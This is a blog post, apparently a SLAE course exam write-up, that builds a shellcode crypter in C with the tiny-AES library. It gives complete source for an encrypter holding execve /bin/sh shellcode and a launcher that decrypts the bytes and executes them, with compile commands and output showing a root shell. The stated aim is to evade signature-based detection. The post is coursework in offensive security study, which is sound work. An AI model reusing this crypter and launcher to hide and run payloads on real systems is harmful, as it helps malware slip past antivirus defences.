SLAE Exam 7 Custom Crypter

4 minute read

Today we’re throwing down the landing gear and finishing up with SLAE! It’s been a great ride and I’ve learned a lot on the journey. With this last assignment the goal is to create a program that encrypts shellcode, and a program that decrypts and runs that shellcode. This would assist if your shellcode was getting flagged, and you weren’t able to bypass the signature with the basic polymorphic techniques covered in assignment 6.

Problem Statement

  • Create a custom crypter like the one shown in the “crypters” video
  • Feel free to use any existing encryption schema
  • Can use any programming language

AES-CBC

For this challenge, I decided to go with the popular AES-256 encryption schema in CBC mode, and we decided to develop this in C. Since AES-256 is a popular schema, we knew we wouldn’t have to reinvent the wheel. So, we grabbed a small portable copy from kokke’s github. We also used the execve shellcode from the course for testing. Let’s get started!

Compiling Tiny AES

One small step we needed to take in the beginning was to compile our AES library, so that we could use it throughout the rest of the assignment. That was done using the following command:

$ gcc -Wall -Os -c -o aes.o aes.c

On to the crypter!

Encrypter

The encrypter’s job would be to hold known shellcode, and encrypt it with a key given to it by the user. We came up with the implementation below.

crypter.c

#include <stdio.h>
#include <string.h>
#include <stdint.h>

// Enabling CBC must be done before including aes.h or at compile-time.
// For compile time, use -DCBC=1
#define CBC 1

#include "aes.h"

// execve /bin/sh
uint8_t shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

void printHex(uint8_t* buffer, size_t size) {
    for (int i = 0; i < size; i++) {
        printf("\\x%02X", buffer[i]);
    }
    printf("\n");
}


void encrypt(char* givenKey, size_t size) {
    uint8_t key[32] = { 0 };
    uint8_t iv[]  = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
    struct AES_ctx ctx;

    printf("\nEncrypting...");

    memcpy(key, givenKey, strlen(givenKey));
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_encrypt_buffer(&ctx, shellcode, size);

    printf("Done!\n");
}


int main(int argc, char* argv[])
{
    size_t shellcodeSize = sizeof(shellcode) - 1; // disregard null terminator
    size_t encryptedSize = (16 - (shellcodeSize % 16) + shellcodeSize); // account for padding
    printf("Original Shellcode:\n");
    printHex(shellcode, shellcodeSize);

    encrypt(argv[1], shellcodeSize);
    printf("\nEncrypted Shellcode:\n");
    printHex(shellcode, encryptedSize);

    return 0;
}

Compiling the Crypter

$ gcc -Wall -Os crypter.c aes.o aes.h -o crypter

Running the Crypter

$ ./crypter "brownee and coffee 4 life"
Original Shellcode:
\x31\xC0\x31\xDB\x31\xC9\x31\xD2\x50\x68\x6E\x2F\x73\x68\x68\x2F\x2F\x62
\x69\x68\x2F\x2F\x2F\x2F\x89\xE3\x50\x89\xE2\x53\x89\xE1\xB0\x0B\xCD\x80

Encrypting...Done!

Encrypted Shellcode:
\x2F\x98\x36\x4B\xA8\xD1\x48\x01\x44\xBB\x3D\xCC\x15\xBB\x29\x08\x09\x63
\x79\x69\xB7\x0B\xEA\x9D\x7A\xEB\xE9\xE6\x01\x96\x7A\x56\xB8\x94\xD7\x08
\x67\x49\x1D\x31\x6E\xB4\x61\x08\x31\xB8\xC5\x40

Decrypter / Launcher

Now that we’ve obtained our encrypted shellcode, we’ll place that in our decrypter, shown below.

#include <stdio.h>
#include <string.h>
#include <stdint.h>

// Enabling CBC must be done before including aes.h or at compile-time.
// For compile time, use -DCBC=1
#define CBC 1

#include "aes.h"

// encrypted execve /bin/sh
uint8_t shellcode[] = "\x2F\x98\x36\x4B\xA8\xD1\x48\x01\x44\xBB\x3D\xCC\x15\xBB\x29\x08\x09\x63\x79\x69\xB7\x0B\xEA\x9D\x7A\xEB\xE9\xE6\x01\x96\x7A\x56\xB8\x94\xD7\x08\x67\x49\x1D\x31\x6E\xB4\x61\x08\x31\xB8\xC5\x40";

void printHex(uint8_t* buffer, size_t size) {
    for (int i = 0; i < size; i++) {
        printf("\\x%02X", buffer[i]);
    }
    printf("\n");
}


void decrypt(char* givenKey, size_t size) {
    uint8_t key[32] = { 0 };
    uint8_t iv[]  = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
    struct AES_ctx ctx;

    printf("\nDecrypting shellcode...");

    memcpy(key, givenKey, strlen(givenKey));
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_decrypt_buffer(&ctx, shellcode, size);

    printf("Done!\n");
}


int main(int argc, char* argv[])
{
    size_t encryptedSize = sizeof(shellcode) - 1; // disregard null terminator
    printf("Encrypted Shellcode:\n");
    printHex(shellcode, encryptedSize);

    decrypt(argv[1], encryptedSize);
    printf("\nDecrypted Shellcode:\n");
    printHex(shellcode, encryptedSize);

    printf("\nLaunching shellcode...\n");
    int (*ret)() = (int(*)())shellcode;
    ret();

    return 0;
}

This code takes our encrypted shellcode, and decrypts it using a key given by the user. Then, it calls the decrypted shellcode in order to launch our payload. Let’s compile it and give it a shot.

Compiling the Decrypter

$ gcc -Wall -Os decrypter.c aes.o aes.h -o decrypter

Running the Decrypter

$ ./decrypter "brownee and coffee 4 life"
Encrypted Shellcode:
\x2F\x98\x36\x4B\xA8\xD1\x48\x01\x44\xBB\x3D\xCC\x15\xBB\x29\x08\x09\x63
\x79\x69\xB7\x0B\xEA\x9D\x7A\xEB\xE9\xE6\x01\x96\x7A\x56\xB8\x94\xD7\x08
\x67\x49\x1D\x31\x6E\xB4\x61\x08\x31\xB8\xC5\x40

Decrypting shellcode...Done!

Decrypted Shellcode:
\x31\xC0\x31\xDB\x31\xC9\x31\xD2\x50\x68\x6E\x2F\x73\x68\x68\x2F\x2F\x62
\x69\x68\x2F\x2F\x2F\x2F\x89\xE3\x50\x89\xE2\x53\x89\xE1\xB0\x0B\xCD\x80
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

Launching shellcode...
# id
uid=0(root) gid=0(root) groups=0(root)
# exit

Excellent, everything seems to be working, and our payload successfully executed.

Wrapping Up

Well, SLAE has finally come to an end for me. In all honesty, this was a fantastic course, and I’ve learned so much from it. If you’re thinking of taking it, or you’re thinking of taking your OSCE, but aren’t sure if you’re ready, I absolutely recommend SLAE! SPOILER ALERT, I passed my OSCE on the first try with 12 hours to spare, and I 100% believe that I wouldn’t have been able to do it if I had not taken SLAE first. It’s been a great way of familiarizing myself with the concepts and fundamentals of assembly in a way that I haven’t explored before. Anyways, if you’re still with me, thanks for reading along! And until next time, happy hacking!

SLAE Exam Statement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1158